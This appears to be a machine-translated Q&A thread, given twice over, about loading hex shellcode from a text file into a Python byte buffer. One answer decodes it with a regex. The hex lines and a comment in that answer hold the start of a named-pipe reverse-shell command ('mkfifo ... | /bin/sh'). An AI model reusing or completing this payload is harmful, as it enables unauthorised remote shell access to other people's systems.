我想执行文本文件的行,就好像它们是我的 python 脚本的一部分一样
I want to execute lines of a text file as if they were part of my python script
我有一个包含 shellcode 的文本文件,如下所示:
buf += b"\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x73"
buf += b"\x35\x35\x20\x30\x3c\x2f\x74\x6d\x70\x2f\x73\x61\x6b"
buf += b"\x6e\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e"
我想使用自动读取此 shellcode 并将其归因于我的 python 脚本中的变量以使用它。
我写了一个看起来像这样的脚本
myfile = open("shellcode.txt","rt")
a = myfile.read()
myfile.close()
a = a.replace('buf += b"','')
a = a.replace('buf = b""','')
a = a.replace('"','')
a = a.replace(' ','')
a = a.replace('\n','')
buf =""
buf = str.encode(a)
读取文件的内容,去除我不需要的字符,只留下我需要的原始 shellcode 并将其转换为字节。
我也试过 bytes , bytearray , buf += b"%s"%
(a)
所以每当我打印 buf 时,它都会按原样输出 shellcode,但是当我复制 shellcode.txt 的内容并将其粘贴到 python 脚本和 print(buf) 时,它会打印解码的shellcode 的版本。
所以如果这个方法不起作用,我可以读取文件并执行它的每一行,就好像它是脚本的一部分一样吗?
这是使用正则表达式提取字节值的建议。 regex101 是玩正则表达式和调试它们的好地方。
import re
BYTE_REGEX = r"\x([\w|\d]{2})" # extract bytes from string, without leading `\x`
# regex101.com is very good reference to analyse regex patterns
# retrieve text
with open('shellcode.txt', 'r') as f:
file_text = f.read()
buf_list = []
for byte in re.findall(BYTE_REGEX, file_text):
# scan string and treat all bytes one by one
buf_list.append(int(byte, base=16))
result = bytearray(buf_list)
print(result)
# mkfifo /tmp/s55 0</tmp/sakn | /bin/sh >
还有一些机制可以执行作为文本给出的 python 代码,请参阅 eval。
我有一个包含 shellcode 的文本文件,如下所示:
buf += b"\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x73"
buf += b"\x35\x35\x20\x30\x3c\x2f\x74\x6d\x70\x2f\x73\x61\x6b"
buf += b"\x6e\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e"
我想使用自动读取此 shellcode 并将其归因于我的 python 脚本中的变量以使用它。 我写了一个看起来像这样的脚本
myfile = open("shellcode.txt","rt")
a = myfile.read()
myfile.close()
a = a.replace('buf += b"','')
a = a.replace('buf = b""','')
a = a.replace('"','')
a = a.replace(' ','')
a = a.replace('\n','')
buf =""
buf = str.encode(a)
读取文件的内容,去除我不需要的字符,只留下我需要的原始 shellcode 并将其转换为字节。
我也试过 bytes , bytearray , buf += b"%s"%
(a)
所以每当我打印 buf 时,它都会按原样输出 shellcode,但是当我复制 shellcode.txt 的内容并将其粘贴到 python 脚本和 print(buf) 时,它会打印解码的shellcode 的版本。
所以如果这个方法不起作用,我可以读取文件并执行它的每一行,就好像它是脚本的一部分一样吗?
这是使用正则表达式提取字节值的建议。 regex101 是玩正则表达式和调试它们的好地方。
import re
BYTE_REGEX = r"\x([\w|\d]{2})" # extract bytes from string, without leading `\x`
# regex101.com is very good reference to analyse regex patterns
# retrieve text
with open('shellcode.txt', 'r') as f:
file_text = f.read()
buf_list = []
for byte in re.findall(BYTE_REGEX, file_text):
# scan string and treat all bytes one by one
buf_list.append(int(byte, base=16))
result = bytearray(buf_list)
print(result)
# mkfifo /tmp/s55 0</tmp/sakn | /bin/sh >
还有一些机制可以执行作为文本给出的 python 代码,请参阅 eval。